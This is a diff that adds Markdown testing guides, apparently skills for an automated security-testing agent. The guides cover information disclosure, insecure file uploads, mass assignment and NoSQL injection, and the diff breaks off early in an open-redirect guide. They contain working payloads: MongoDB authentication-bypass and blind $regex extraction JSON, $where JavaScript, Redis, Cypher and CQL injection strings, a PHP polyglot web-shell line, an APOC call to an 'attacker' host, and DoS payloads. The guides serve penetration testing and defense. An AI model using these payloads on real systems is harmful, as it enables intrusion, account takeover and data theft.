+### Headers and Response Metadata
+
+- Fingerprinting: Server, X-Powered-By, X-AspNet-Version
+- Tracing: X-Request-Id, traceparent, Server-Timing, debug headers
+- Caching oracles: ETag/If-None-Match, Last-Modified/If-Modified-Since, Accept-Ranges/Range
+
+### Storage and Exports
+
+- Public object storage: S3/GCS/Azure blobs with world-readable ACLs or guessable keys
+- Signed URLs: long-lived, weakly scoped, re-usable across tenants
+- Export/report endpoints returning foreign data sets or unfiltered fields
+
+### Observability and Admin
+
+- Metrics: Prometheus `/metrics` exposing internal hostnames, process args
+- Health/config: `/actuator/health`, `/actuator/env`, Spring Boot info endpoints
+- Tracing UIs: Jaeger/Zipkin/Kibana/Grafana exposed without auth
+
+### Cross-Origin Signals
+
+- Referrer leakage: missing/weak referrer policy leading to path/query/token leaks to third parties
+- CORS: overly permissive Access-Control-Allow-Origin/Expose-Headers revealing data cross-origin; preflight error shapes
+
+### File Metadata
+
+- EXIF, PDF/Office properties: authors, paths, software versions, timestamps, embedded objects
+
+### Cloud Storage
+
+- S3/GCS/Azure: anonymous listing disabled but object reads allowed; metadata headers leak owner/project identifiers
+- Pre-signed URLs: audience not bound; observe key scope and lifetime in URL params
+
+## Key Vulnerabilities
+
+### Differential Oracles
+
+- Compare owner vs non-owner vs anonymous for the same resource
+- Track: status, length, ETag, Last-Modified, Cache-Control
+- HEAD vs GET: header-only differences can confirm existence
+- Conditional requests: 304 vs 200 behaviors leak existence/state
+
+### CDN and Cache Keys
+
+- Identity-agnostic caches: CDN/proxy keys missing Authorization/tenant headers
+- Vary misconfiguration: user-agent/language vary without auth vary leaks content
+- 206 partial content + stale caches leak object fragments
+
+### Cross-Channel Mirroring
+
+- Inconsistent hardening between REST, GraphQL, WebSocket, and gRPC
+- SSR vs CSR: server-rendered pages omit fields while JSON API includes them
+
+## Triage Rubric
+
+- **Critical**: Credentials/keys; signed URL secrets; config dumps; unrestricted admin/observability panels
+- **High**: Versions with reachable CVEs; cross-tenant data; caches serving cross-user content
+- **Medium**: Internal paths/hosts enabling LFI/SSRF pivots; source maps revealing hidden endpoints
+- **Low**: Generic headers, marketing versions, intended documentation without exploit path
+
+## Exploitation Chains
+
+### Credential Extraction
+- DVCS/config dumps exposing secrets (DB, SMTP, JWT, cloud)
+- Keys → cloud control plane access
+
+### Version to CVE
+1. Derive precise component versions from headers/errors/bundles
+2. Map to known CVEs and confirm reachability
+3. Execute minimal proof targeting disclosed component
+
+### Path Disclosure to LFI
+1. Paths from stack traces/templates reveal filesystem layout
+2. Use LFI/traversal to fetch config/keys
+
+### Schema to Auth Bypass
+1. Schema reveals hidden fields/endpoints
+2. Attempt requests with those fields; confirm missing authorization
+
+## Testing Methodology
+
+1. **Build channel map** - Web, API, GraphQL, WebSocket, gRPC, mobile, background jobs, exports, CDN
+2. **Establish diff harness** - Compare owner vs non-owner vs anonymous; normalize on status/body length/ETag/headers
+3. **Trigger controlled failures** - Malformed types, boundary values, missing params, alternate content-types
+4. **Enumerate artifacts** - DVCS folders, backups, config endpoints, source maps, client bundles, API docs
+5. **Correlate to impact** - Versions→CVE, paths→LFI/RCE, keys→cloud access, schemas→auth bypass
+
+## Validation
+
+1. Provide raw evidence (headers/body/artifact) and explain exact data revealed
+2. Determine intent: cross-check docs/UX; classify per triage rubric
+3. Attempt minimal, reversible exploitation or present a concrete step-by-step chain
+4. Show reproducibility and minimal request set
+5. Bound scope (user, tenant, environment) and data sensitivity classification
+
+## False Positives
+
+- Intentional public docs or non-sensitive metadata with no exploit path
+- Generic errors with no actionable details
+- Redacted fields that do not change differential oracles
+- Version banners with no exposed vulnerable surface and no chain
+- Owner-visible-only details that do not cross identity/tenant boundaries
+
+## Impact
+
+- Accelerated exploitation of RCE/LFI/SSRF via precise versions and paths
+- Credential/secret exposure leading to persistent external compromise
+- Cross-tenant data disclosure through exports, caches, or mis-scoped signed URLs
+- Privacy/regulatory violations and business intelligence leakage
+
+## Pro Tips
+
+1. Start with artifacts (DVCS, backups, maps) before payloads; artifacts yield the fastest wins
+2. Normalize responses and diff by digest to reduce noise when comparing roles
+3. Hunt source maps and client data JSON; they often carry internal IDs and flags
+4. Probe caches/CDNs for identity-unaware keys; verify Vary includes Authorization/tenant
+5. Treat introspection and reflection as configuration findings across GraphQL/gRPC
+6. Mine observability endpoints last; they are noisy but high-yield in misconfigured setups
+7. Chain quickly to a concrete risk and stop—proof should be minimal and reversible
+
+## Summary
+
+Information disclosure is an amplifier. Convert leaks into precise, minimal exploits or clear architectural risks.

strix/skills/vulnerabilities/insecure_file_uploads.md

@@ -0,0 +1,188 @@
+---
+name: insecure-file-uploads
+description: File upload security testing covering extension bypass, content-type manipulation, and path traversal
+---
+
+# Insecure File Uploads
+
+Upload surfaces are high risk: server-side execution (RCE), stored XSS, malware distribution, storage takeover, and DoS. Modern stacks mix direct-to-cloud uploads, background processors, and CDNs—authorization and validation must hold across every step.
+
+## Attack Surface
+
+- Web/mobile/API uploads, direct-to-cloud (S3/GCS/Azure) presigned flows, resumable/multipart protocols (tus, S3 MPU)
+- Image/document/media pipelines (ImageMagick/GraphicsMagick, Ghostscript, ExifTool, PDF engines, office converters)
+- Admin/bulk importers, archive uploads (zip/tar), report/template uploads, rich text with attachments
+- Serving paths: app directly, object storage, CDN, email attachments, previews/thumbnails
+
+## Reconnaissance
+
+### Surface Map
+
+- Endpoints/fields: upload, file, avatar, image, attachment, import, media, document, template
+- Direct-to-cloud params: key, bucket, acl, Content-Type, Content-Disposition, x-amz-meta-*, cache-control
+- Resumable APIs: create/init → upload/chunk → complete/finalize; check if metadata/headers can be altered late
+- Background processors: thumbnails, PDF→image, virus scan queues; identify timing and status transitions
+
+### Capability Probes
+
+- Small probe files of each claimed type; diff resulting Content-Type, Content-Disposition, and X-Content-Type-Options on download
+- Magic bytes vs extension: JPEG/GIF/PNG headers; mismatches reveal reliance on extension or MIME sniffing
+- SVG/HTML probe: do they render inline (text/html or image/svg+xml) or download (attachment)?
+- Archive probe: simple zip with nested path traversal entries and symlinks to detect extraction rules
+
+## Detection Channels
+
+### Server Execution
+
+- Web shell execution (language dependent), config/handler uploads (.htaccess, .user.ini, web.config) enabling execution
+- Interpreter-side template/script evaluation during conversion (ImageMagick/Ghostscript/ExifTool)
+
+### Client Execution
+
+- Stored XSS via SVG/HTML/JS if served inline without correct headers; PDF JavaScript; office macros in previewers
+
+### Header and Render
+
+- Missing X-Content-Type-Options: nosniff enabling browser sniff to script
+- Content-Type reflection from upload vs server-set; Content-Disposition: inline vs attachment
+
+### Process Side Effects
+
+- AV/CDR race or absence; background job status allows access before scan completes; password-protected archives bypass scanning
+
+## Core Payloads
+
+### Web Shells and Configs
+
+- PHP: GIF polyglot (starts with GIF89a) followed by `<?php echo 1; ?>`; place where PHP is executed
+- .htaccess to map extensions to code (AddType/AddHandler); .user.ini (auto_prepend/append_file) for PHP-FPM
+- ASP/JSP equivalents where supported; IIS web.config to enable script execution
+
+### Stored XSS
+
+- SVG with onload/onerror handlers served as image/svg+xml or text/html
+- HTML file with script when served as text/html or sniffed due to missing nosniff
+
+### MIME Magic Polyglots
+
+- Double extensions: avatar.jpg.php, report.pdf.html; mixed casing: .pHp, .PhAr
+- Magic-byte spoofing: valid JPEG header then embedded script; verify server uses content inspection, not extensions alone
+
+### Archive Attacks
+
+- Zip Slip: entries with `../../` to escape extraction dir; symlink-in-zip pointing outside target; nested zips
+- Zip bomb: extreme compression ratios to exhaust resources in processors
+
+### Toolchain Exploits
+
+- ImageMagick/GraphicsMagick legacy vectors (policy.xml may mitigate): crafted SVG/PS/EPS invoking external commands or reading files
+- Ghostscript in PDF/PS with file operators (%pipe%)
+- ExifTool metadata parsing bugs; overly large or crafted EXIF/IPTC/XMP fields
+
+### Cloud Storage Vectors
+
+- S3/GCS presigned uploads: attacker controls Content-Type/Disposition; set text/html or image/svg+xml and inline rendering
+- Public-read ACL or permissive bucket policies expose uploads broadly
+- Object key injection via user-controlled path prefixes
+- Signed URL reuse and stale URLs; serving directly from bucket without attachment + nosniff headers
+
+## Advanced Techniques
+
+### Resumable Multipart
+
+- Change metadata between init and complete (e.g., swap Content-Type/Disposition at finalize)
+- Upload benign chunks, then swap last chunk or complete with different source
+
+### Filename and Path
+
+- Unicode homoglyphs, trailing dots/spaces, device names, reserved characters to bypass validators
+- Null-byte truncation on legacy stacks; overlong paths; case-insensitive collisions overwriting existing files
+
+### Processing Races
+
+- Request file immediately after upload but before AV/CDR completes
+- Trigger heavy conversions (large images, deep PDFs) to widen race windows
+
+### Metadata Abuse
+
+- Oversized EXIF/XMP/IPTC blocks to trigger parser flaws
+- Payloads in document properties of Office/PDF rendered by previewers
+
+### Header Manipulation
+
+- Force inline rendering with Content-Type + inline Content-Disposition
+- Cache poisoning via CDN with keys missing Vary on Content-Type/Disposition
+
+## Bypass Techniques
+
+### Validation Gaps
+
+- Client-side only checks; relying on JS/MIME provided by browser
+- Trusting multipart boundary part headers blindly
+- Extension allowlists without server-side content inspection
+
+### Evasion Tricks
+
+- Double extensions, mixed case, hidden dotfiles, extra dots (file..png), long paths with allowed suffix
+- Multipart name vs filename vs path discrepancies; duplicate parameters and late parameter precedence
+
+## Special Contexts
+
+### Rich Text Editors
+
+- RTEs allow image/attachment uploads and embed links; verify sanitization and serving headers
+
+### Mobile Clients
+
+- Mobile SDKs may send nonstandard MIME or metadata; servers sometimes trust client-side transformations
+
+### Serverless and CDN
+
+- Direct-to-bucket uploads with Lambda/Workers post-processing; verify security decisions are not delegated to frontends
+- CDN caching of uploaded content; ensure correct cache keys and headers
+
+## Testing Methodology
+
+1. **Map the pipeline** - Client → ingress → storage → processors → serving. Note where validation and auth occur
+2. **Identify allowed types** - Size limits, filename rules, storage keys, and who serves the content
+3. **Collect baselines** - Capture resulting URLs and headers for legitimate uploads
+4. **Exercise bypass families** - Extension games, MIME/content-type, magic bytes, polyglots, metadata payloads, archive structure
+5. **Validate execution** - Can uploaded content execute on server or client?
+
+## Validation
+
+1. Demonstrate execution or rendering of active content: web shell reachable, or SVG/HTML executing JS when viewed
+2. Show filter bypass: upload accepted despite restrictions with evidence on retrieval
+3. Prove header weaknesses: inline rendering without nosniff or missing attachment
+4. Show race or pipeline gap: access before AV/CDR; extraction outside intended directory
+5. Provide reproducible steps: request/response for upload and subsequent access
+
+## False Positives
+
+- Upload stored but never served back; or always served as attachment with strict nosniff
+- Converters run in locked-down sandboxes with no external IO and no script engines
+- AV/CDR blocks the payload and quarantines; access before scan is impossible by design
+
+## Impact
+
+- Remote code execution on application stack or media toolchain host
+- Persistent cross-site scripting and session/token exfiltration via served uploads
+- Malware distribution via public storage/CDN; brand/reputation damage
+- Data loss or corruption via overwrite/zip slip; service degradation via zip bombs
+
+## Pro Tips
+
+1. Keep PoCs minimal: tiny SVG/HTML for XSS, a single-line PHP/ASP where relevant
+2. Always capture download response headers and final MIME; that decides browser behavior
+3. Prefer transforming risky formats to safe renderings (SVG→PNG) rather than complex sanitization
+4. In presigned flows, constrain all headers and object keys server-side
+5. For archives, extract in a chroot/jail with explicit allowlist; drop symlinks and reject traversal
+6. Test finalize/complete steps in resumable flows; many validations only run on init
+7. Verify background processors with EICAR and tiny polyglots
+8. When you cannot get execution, aim for stored XSS or header-driven script execution
+9. Validate that CDNs honor attachment/nosniff
+10. Document full pipeline behavior per asset type
+
+## Summary
+
+Secure uploads are a pipeline property. Enforce strict type, size, and header controls; transform or strip active content; never execute or inline-render untrusted uploads; and keep storage private with controlled, signed access.

strix/skills/vulnerabilities/mass_assignment.md

@@ -0,0 +1,153 @@
+---
+name: mass-assignment
+description: Mass assignment testing for unauthorized field binding and privilege escalation via API parameters
+---
+
+# Mass Assignment
+
+Mass assignment binds client-supplied fields directly into models/DTOs without field-level allowlists. It commonly leads to privilege escalation, ownership changes, and unauthorized state transitions in modern APIs and GraphQL.
+
+## Attack Surface
+
+- REST/JSON, GraphQL inputs, form-encoded and multipart bodies
+- Model binding in controllers/resolvers; ORM create/update helpers
+- Writable nested relations, sparse/patch updates, bulk endpoints
+
+## Reconnaissance
+
+### Surface Map
+
+- Controllers with automatic binding (e.g., request.json → model)
+- GraphQL input types mirroring models; admin/staff tools exposed via API
+- OpenAPI/GraphQL schemas: uncover hidden fields or enums
+- Client bundles and mobile apps: inspect forms and mutation payloads for field names
+
+### Parameter Strategies
+
+- Flat fields: `isAdmin`, `role`, `roles[]`, `permissions[]`, `status`, `plan`, `tier`, `premium`, `verified`, `emailVerified`
+- Ownership/tenancy: `userId`, `ownerId`, `accountId`, `organizationId`, `tenantId`, `workspaceId`
+- Limits/quotas: `usageLimit`, `seatCount`, `maxProjects`, `creditBalance`
+- Feature flags/gates: `features`, `flags`, `betaAccess`, `allowImpersonation`
+- Billing: `price`, `amount`, `currency`, `prorate`, `nextInvoice`, `trialEnd`
+
+### Shape Variants
+
+- Alternate shapes: arrays vs scalars; nested JSON; objects under unexpected keys
+- Dot/bracket paths: `profile.role`, `profile[role]`, `settings[roles][]`
+- Duplicate keys and precedence: `{"role":"user","role":"admin"}`
+- Sparse/patch formats: JSON Patch/JSON Merge Patch; try adding forbidden paths
+
+### Encodings and Channels
+
+- Content-types: `application/json`, `application/x-www-form-urlencoded`, `multipart/form-data`, `text/plain`
+- GraphQL: add suspicious fields to input objects; overfetch response to detect changes
+- Batch/bulk: arrays of objects; verify per-item allowlists not skipped
+
+## Key Vulnerabilities
+
+### Privilege Escalation
+
+- Set role/isAdmin/permissions during signup/profile update
+- Toggle admin/staff flags where exposed
+
+### Ownership Takeover
+
+- Change ownerId/accountId/tenantId to seize resources
+- Move objects across users/tenants
+
+### Feature Gate Bypass
+
+- Enable premium/beta/feature flags via flags/features fields
+- Raise limits/seatCount/quotas
+
+### Billing and Entitlements
+
+- Modify plan/price/prorate/trialEnd or creditBalance
+- Bypass server recomputation
+
+### Nested and Relation Writes
+
+- Writable nested serializers or ORM relations allow creating or linking related objects beyond caller's scope
+
+## Advanced Techniques
+
+### GraphQL Specific
+
+- Field-level authz missing on input types: attempt forbidden fields in mutation inputs
+- Combine with aliasing/batching to compare effects
+- Use fragments to overfetch changed fields immediately after mutation
+
+### ORM Framework Edges
+
+- **Rails**: strong parameters misconfig or deep nesting via `accepts_nested_attributes_for`
+- **Laravel**: $fillable/$guarded misuses; `guarded=[]` opens all; casts mutating hidden fields
+- **Django REST Framework**: writable nested serializer, read_only/extra_kwargs gaps, partial updates
+- **Mongoose/Prisma**: schema paths not filtered; `select:false` doesn't prevent writes; upsert defaults
+
+### Parser and Validator Gaps
+
+- Validators run post-bind and do not cover extra fields
+- Unknown fields silently dropped in response but persisted underneath
+- Inconsistent allowlists between mobile/web/gateway; alt encodings bypass validation pipeline
+
+## Bypass Techniques
+
+### Content-Type Switching
+
+- Switch JSON ↔ form-encoded ↔ multipart ↔ text/plain; some code paths only validate one
+
+### Key Path Variants
+
+- Dot/bracket/object re-shaping to reach nested fields through different binders
+
+### Batch Paths
+
+- Per-item checks skipped in bulk operations
+- Insert a single malicious object within a large batch
+
+### Race and Reorder
+
+- Race two updates: first sets forbidden field, second normalizes
+- Final state may retain forbidden change
+
+## Testing Methodology
+
+1. **Identify endpoints** - Create/update endpoints and GraphQL mutations
+2. **Capture responses** - Observe returned fields to build candidate list
+3. **Build sensitive-field dictionary** - Per resource: role, isAdmin, ownerId, status, plan, limits, flags
+4. **Inject candidates** - Alongside legitimate updates across transports and encodings
+5. **Compare state** - Before/after diffs across roles
+6. **Test variations** - Nested objects, arrays, alternative shapes, duplicate keys, batch operations
+
+## Validation
+
+1. Show a minimal request where adding a sensitive field changes persisted state for a non-privileged caller
+2. Provide before/after evidence (response body, subsequent GET, or GraphQL query) proving the forbidden attribute value
+3. Demonstrate consistency across at least two encodings or channels
+4. For nested/bulk, show that protected fields are written within child objects or array elements
+5. Quantify impact (e.g., role flip, cross-tenant move, quota increase) and reproducibility
+
+## False Positives
+
+- Server recomputes derived fields (plan/price/role) ignoring client input
+- Fields marked read-only and enforced consistently across encodings
+- Only UI-side changes with no persisted effect
+
+## Impact
+
+- Privilege escalation and admin feature access
+- Cross-tenant or cross-account resource takeover
+- Financial/billing manipulation and quota abuse
+- Policy/approval bypass by toggling verification or status flags
+
+## Pro Tips
+
+1. Build a sensitive-field dictionary per resource and fuzz systematically
+2. Always try alternate shapes and encodings; many validators are shape/CT-specific
+3. For GraphQL, diff the resource immediately after mutation; effects are often visible even if the mutation returns filtered fields
+4. Inspect SDKs/mobile apps for hidden field names and nested write examples
+5. Prefer minimal PoCs that prove durable state changes; avoid UI-only effects
+
+## Summary
+
+Mass assignment is eliminated by explicit mapping and per-field authorization. Treat every client-supplied attribute—especially nested or batch inputs—as untrusted until validated against an allowlist and caller scope.

strix/skills/vulnerabilities/nosql_injection.md

@@ -0,0 +1,288 @@
+---
+name: nosql-injection
+description: NoSQL injection testing covering MongoDB operator injection, authentication bypass, blind extraction, GraphQL variable injection, and Redis/DynamoDB/Elasticsearch/Neo4j-specific attack surfaces
+---
+
+# NoSQL Injection
+
+NoSQL injection exploits the mismatch between how applications pass user input to database queries and how the database engine interprets that input. Unlike SQL injection, NoSQL injection frequently involves operator injection (e.g., MongoDB's `$gt`, `$regex`, `$where`) or structure injection (embedding JSON sub-documents). The attack surface is broad: MongoDB is the dominant target, but Redis, Elasticsearch, DynamoDB, Cassandra, CouchDB, and Neo4j each have distinct injection surfaces. GraphQL resolvers passing variables directly into a backing NoSQL filter are a frequent cross-cutting vector.
+
+## Attack Surface
+
+**Input shapes that reach query filters**
+- JSON body parameters parsed straight into query objects
+- Form fields with bracket notation (`field[$ne]=`) coerced into operator objects by Express, PHP, and similar middleware
+- URL-encoded JSON in query strings, headers, and cookies
+- GraphQL variables passed directly into resolver-level NoSQL filters
+
+**Code patterns that enable injection**
+- Raw filter dicts/objects from user input handed to `find`/`findOne`/`aggregate`
+- String concatenation into Cypher / CQL / Redis commands instead of the driver's parameterized form
+- ODM passthrough: Mongoose `{strict: false}`, Morphia raw `where()`, PyMongo `find()` with unsanitized JSON dicts (legacy `eval()` is fatal)
+- Server-side JavaScript surfaces: `$where`, `$function`, `$accumulator`, CouchDB `_design` views
+
+**Stores in scope**
+MongoDB (primary), Redis, Elasticsearch, DynamoDB, Cassandra, CouchDB, Neo4j. Couchbase / DocumentDB / HBase / ScyllaDB / Memcached follow the same operator-injection or command-smuggling models — DocumentDB in particular accepts MongoDB payloads unchanged.
+
+## High-Value Targets
+
+- Login and authentication endpoints (username/password fields)
+- Search and filter APIs (catalog, user search, admin lookup)
+- Password reset and token lookup flows
+- Admin queries filtering by role, plan, or privilege fields
+- Endpoints accepting raw JSON objects as query parameters
+
+## Reconnaissance
+
+### Content-Type and Input Shape
+
+- Identify endpoints accepting `application/json` — these can receive operator objects directly
+- Identify endpoints accepting `application/x-www-form-urlencoded` — bracket notation `username[$ne]=x` maps to `{username: {$ne: 'x'}}` in many frameworks (Express `body-parser`, PHP)
+- Determine whether the backend uses Mongoose, native MongoDB driver, or a REST ODM wrapper
+
+### Error Fingerprinting
+
+- Send malformed JSON: `{"username": {"$gt": ""}}`
+- Send bracket notation in form data: `username[$gt]=`
+- Look for MongoDB error messages: `MongoError`, `CastError`, `ValidationError`
+- Stack traces revealing collection names, field names, driver version
+
+### Operator Probe
+
+Test whether operators pass through to the database:
+```json
+{"username": {"$gt": ""}, "password": {"$gt": ""}}
+```
+If authentication succeeds or response differs, operator injection is confirmed.
+
+## Key Vulnerabilities
+
+### MongoDB Authentication Bypass
+
+The classic operator injection against login queries of the form `db.users.findOne({username: input.username, password: input.password})`:
+
+**JSON body injection:**
+```json
+{"username": {"$ne": null}, "password": {"$ne": null}}
+```
+Matches the first document where both fields are non-null — typically the first user/admin.
+
+**Form body (bracket notation):**
+```
+username[$ne]=invalid&password[$ne]=invalid
+```
+
+**Variations:**
+```json
+{"username": "admin", "password": {"$gt": ""}}
+{"username": {"$regex": ".*"}, "password": {"$gt": ""}}
+{"username": {"$in": ["admin", "administrator", "root"]}, "password": {"$gt": ""}}
+```
+
+### Blind Data Extraction via `$regex`
+
+When the query result is not directly reflected but observable (boolean response, redirect, timing), extract field values character by character using `$regex`:
+```json
+{"username": "admin", "password": {"$regex": "^a"}}
+{"username": "admin", "password": {"$regex": "^b"}}
+...
+```
+Binary search the character space to minimize requests. Works on any string field (token, reset code, API key).
+
+### `$where` JavaScript Injection
+
+If `$where` operator is enabled (disabled by default in MongoDB 7.0+; MongoDB 4.4–6.x deprecated it but left `javascriptEnabled` defaulting to `true`), inject arbitrary server-side JavaScript:
+```json
+{"$where": "function(){return this.role == 'admin'}"}                          // direct filter — returns matching documents
+{"$where": "function(){return this.username == 'admin' && sleep(2000)}"}       // timing oracle only — sleep() returns undefined (falsy), so no documents are returned; observe latency
+```
+`sleep()` is available in older MongoDB for blind extraction via response-time differential.
+
+### `$function` and `$accumulator` (MongoDB 4.4+)
+
+Server-side JavaScript in aggregations. `$function` must live inside an expression context — `$expr`, `$project`, `$addFields`, etc. — not as a top-level filter:
+```json
+{"$expr": {"$function": {"body": "function(doc){return doc.role == 'admin'}", "args": ["$$ROOT"], "lang": "js"}}}
+```
+Gated by the same `javascriptEnabled` parameter as `$where`, but reachable through aggregation endpoints — useful when `$where` is filtered at the query layer but aggregation pipelines remain user-influenceable.
+
+### Aggregation Pipeline Injection
+
+`$match`, `$lookup`, and `$project` stages accept the same operator payloads as `find()`. User-controlled `$lookup.from` is the highest-impact variant — it can pivot the query to a different collection (e.g., from `orders` into `users`) and exfiltrate cross-tenant data.
+
+### Redis Command Injection
+
+When Redis commands are constructed by string concatenation:
+```python
+redis.execute_command(f"SET {user_key} {value}")
+```
+Inject newline characters (`\r\n`) to inject additional Redis commands (RESP protocol injection):
+```
+key\r\nSET backdoor attacker_controlled\r\nSET dummy
+```
+
+### Elasticsearch Query String Injection
+
+`query_string` and `simple_query_string` accept Lucene syntax. User input flowing directly:
+```
+q=normal+search            →   normal results
+q=*                        →   all documents
+q=role:admin               →   filter by field
+q=_exists_:password_hash   →   existence probe
+```
+
+For Painless script injection via `_update`:
+```json
+{"script": {"source": "ctx._source.role = params.r", "params": {"r": "admin"}}}
+```
+If the `source` field is user-controlled, inject arbitrary Painless.
+
+### DynamoDB FilterExpression Injection
+
+PartiQL injection allows expansion of intended queries:
+```sql
+-- Intended:
+SELECT * FROM Users WHERE username = 'input'
+
+-- Injected:
+SELECT * FROM Users WHERE username = 'x' OR '1'='1
+```
+
+### Cassandra CQL Injection
+
+CQL is SQL-shaped, so injection follows the SQL pattern when input is concatenated instead of bound via `session.prepare()`:
+
+```
+username: ' OR '1'='1' ALLOW FILTERING --
+username: 'x' OR token(username) > token('a') ALLOW FILTERING --
+```
+
+No `SLEEP` or OOB primitive natively — detection is boolean/error-based only.
+
+### CouchDB Mango and View Injection
+
+Mango selectors on `_find` accept operator payloads in the same shape as MongoDB:
+```json
+POST /db/_find  { "selector": {"username": "admin", "password": {"$gt": ""}} }
+POST /db/_find  { "selector": {"role": {"$regex": "^admin"}} }
+```
+
+`_design` document injection — if user input flows into a design doc's `views.<name>.map`, the JavaScript runs server-side in the Couch sandbox on every view query:
+```json
+{"views": {"x": {"map": "function(doc){ emit(doc._id, doc) }"}}}
+```
+
+Also probe `_all_docs?include_docs=true` for unscoped enumeration and check for admin-party misconfigurations (`_users/_all_docs` reachable without auth) before payload work.
+
+### Neo4j Cypher Injection
+
+When user input is concatenated into Cypher rather than passed as a parameter (`$param`):
+```python
+# Vulnerable
+session.run(f"MATCH (u:User {{name: '{name}'}}) RETURN u")
+
+# Injected: name = x'}) RETURN u UNION MATCH (u:User) RETURN u //
+```
+
+**APOC abuse** (when `apoc.*` procedures are enabled via `dbms.security.procedures.unrestricted`):
+- `CALL apoc.load.json('http://attacker/x')` — SSRF and external data fetch
+- `CALL apoc.cypher.run("...", {})` — dynamic query execution from a string
+- `CALL dbms.security.listUsers()` — user enumeration on misconfigured Community Edition
+
+### GraphQL Variable Injection
+
+Resolvers passing variables straight into a backing NoSQL filter are a common chained vector:
+```graphql
+query Login($input: UserFilter!) {
+  user(filter: $input) { id role }
+}
+```
+With `$input` reaching `db.users.findOne(input)`, send:
+```json
+{"input": {"username": "admin", "password": {"$ne": ""}}}
+```
+Use introspection (`__schema`, `__type`) to enumerate which input types accept arbitrary objects — those are the operator-injection candidates.
+
+### Server-Side JavaScript Detection and DoS
+
+Fingerprint SSJS state before investing in `$where` / `$function` payloads:
+```javascript
+db.adminCommand({getParameter: 1, javascriptEnabled: 1})
+```
+
+DoS surface (use only with explicit authorization scope):
+- **ReDoS**: `{"field": {"$regex": "^(a+)+$"}}` against long values triggers catastrophic backtracking
+- **Large `$in` arrays**: thousands of values force linear scans on unindexed fields
+- **Infinite `$where` loops**: `{"$where": "while(true){}"}` if SSJS is enabled without query timeouts
+- **Heavy aggregations**: chained `$lookup` across large unindexed collections
+
+## Bypass Techniques
+
+**Type Coercion**
+- Send operators as arrays: `{"$gt": [""]}` — some drivers coerce arrays
+- Mix string and object types in the same request to trigger parser branches
+
+**Encoding**
+- URL-encode brackets: `username%5B%24ne%5D=x` → `username[$ne]=x`
+- Double-encode for WAFs sitting in front of JSON-parsing backends
+
+**Operator Alternatives**
+- `$nin` (not in), `$exists: false`, `$type` — alternative operators that reach the same result when `$ne` is filtered
+- `$not` wrapping another operator: `{"field": {"$not": {"$eq": "value"}}}`
+- `$expr` with `$ne` for complex comparisons: `{"$expr": {"$ne": ["$password", "wrong"]}}`
+
+**Structure Manipulation**
+- Dotted-key vs nested object: `{"a.b": "c"}` vs `{"a": {"b": "c"}}` — sanitizers often strip one form but pass the other
+- Array vs object operator wrapping: some parsers treat `["$or", ...]` as operator arrays
+- Prototype pollution: `__proto__` and `constructor.prototype` keys in JSON bodies polluting Object prototypes consumed downstream by query builders
+- `$regex` case-insensitive flag (`"$options": "i"`) widens matches that case-sensitive filters miss
+
+## Testing Methodology
+
+1. **Identify query-receiving endpoints** — login, search, filter, lookup
+2. **Determine input format** — JSON body vs form fields vs URL params
+3. **Send error-probing payloads** — malformed operator objects; watch for MongoDB/driver errors
+4. **Attempt operator injection** — `$ne`, `$gt`, `$regex` against login endpoint
+5. **Confirm boolean oracle** — response, status, redirect differs between true/false predicates
+6. **Extract data blindly** — character-by-character `$regex` on sensitive fields (token, reset code)
+7. **Test `$where`** — if older MongoDB version detected, attempt JavaScript sleep-based timing
+8. **Probe aggregation endpoints** — inject operators into `filter`/`match`/`sort` fields
+9. **Test non-MongoDB stores** — Elasticsearch `query_string`, Redis command construction, DynamoDB PartiQL, CouchDB Mango selectors, Neo4j Cypher concatenation, Cassandra CQL
+10. **Test GraphQL resolvers** — submit operator objects via variables on any input type that reaches a NoSQL filter; use `__schema` introspection to enumerate candidates
+
+## Validation
+
+1. Demonstrate authentication bypass: send operator payload, confirm login succeeds for any/first account
+2. Extract a verifiable secret (password hash, reset token, API key) via `$regex` blind extraction
+3. Show at least two distinct operator payloads working to rule out coincidence
+4. Provide before/after: normal request returns 401, injected request returns 200
+5. For `$where`: show timing differential with/without `sleep()`
+
+## False Positives
+
+- Framework-level query builder that casts input to string before constructing the query (Mongoose `strict` mode on)
+- Input sanitization stripping operator keys before they reach the driver
+- Endpoints that accept JSON but cast the `password` field to string — operator object becomes `[object Object]`
+- Response differences caused by validation errors, not actual operator execution
+
+## Impact
+
+- Authentication bypass granting access to arbitrary or all accounts
+- Full extraction of sensitive fields (tokens, hashed passwords, PII) via blind regex enumeration
+- Privilege escalation by querying admin/superuser records directly
+- Data exfiltration at scale via widened `$ne`/`$regex`/`$gt` filters
+- Server-side JavaScript execution via `$where` on unpatched MongoDB instances
+
+## Pro Tips
+
+1. Always try both JSON body (`{"field": {"$ne": null}}`) and bracket-notation form (`field[$ne]=`) — different middleware handles them differently
+2. Target reset token and API key fields with `$regex` extraction, not just passwords
+3. Check MongoDB version via error messages or `/admin/serverStatus`; `$where` is active by default on pre-7.0 instances — that includes 4.4–6.x targets where `javascriptEnabled` was deprecated but not yet disabled, making them still exploitable unless explicitly hardened
+4. For Elasticsearch, try `_cat/indices`, `_mapping`, and `_search` with `query_string: *` before attempting script injection
+5. Combine authentication bypass with a second request to `/admin` or `/api/users` to escalate impact
+6. Automate `$regex` extraction with binary search: 7 requests per character vs 94 with linear search
+7. GraphQL resolvers are an underexplored entry point — try operator objects in any input type that reaches a NoSQL filter, and use introspection to find candidate fields
+
+## Summary
+
+NoSQL injection exploits the same root cause as SQL injection — user input controlling query structure — but through operator embedding rather than syntax breaking. MongoDB is the primary target; enforce schema validation, use parameterized equivalents (strict mode, typed schemas), and never pass raw user input as a query object.

strix/skills/vulnerabilities/open_redirect.md

@@ -0,0 +1,165 @@
+---
+name: open-redirect
+description: Open redirect testing for phishing pivots, OAuth token theft, and allowlist bypass
+---
+
+# Open Redirect
+
+Open redirects enable phishing, OAuth/OIDC code and token theft, and allowlist bypass in server-side fetchers that follow redirects. Treat every redirect target as untrusted: canonicalize and enforce exact allowlists per scheme, host, and path.
+
+## Attack Surface
+
+**Server-Driven Redirects**
+- HTTP 3xx Location
+
+**Client-Driven Redirects**
+- `window.location`, meta refresh, SPA routers
+
+**OAuth/OIDC/SAML Flows**
+- `redirect_uri`, `post_logout_redirect_uri`, `RelayState`, `returnTo`/`continue`/`next`
+
+**Multi-Hop Chains**
+- Only first hop validated
+
+## High-Value Targets
+
+- Login/logout, password reset, SSO/OAuth flows
+- Payment gateways, email links, invite/verification
+- Unsubscribe, language/locale switches
+- `/out` or `/r` redirectors
+
+## Reconnaissance
+
+### Injection Points
+
+- Params: `redirect`, `url`, `next`, `return_to`, `returnUrl`, `continue`, `goto`, `target`, `callback`, `out`, `dest`, `back`, `to`, `r`, `u`
